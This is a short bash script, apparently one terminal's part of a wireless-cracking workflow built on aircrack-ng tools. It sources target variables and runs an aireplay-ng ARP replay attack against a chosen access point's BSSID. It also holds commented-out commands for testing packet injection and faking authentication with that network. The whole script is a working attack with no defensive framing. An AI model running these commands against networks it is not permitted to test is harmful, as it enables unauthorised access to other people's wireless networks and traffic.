#!/bin/bash
################# TERMINAL 2 ################
echo "Terminal 2"
. ./setvar.sh

# test Injection
#echo "testing Injecton..."
#aireplay-ng -9 wlan0 -b $bssid -h $mymac 
#echo "did you find injection is working?"


#fake association makes rtap0 availble for Terminal1(data collection(
#aireplay-ng --fakeauth 0 -e $essid -a $bssid -h $mymac $iface
#iwconfig
#attack
aireplay-ng --arpreplay -b $bssid -h $mymac $iface -x 50

echo "################### ping here from another terminal ############"
echo "###################  That makes the attack begin    ############"
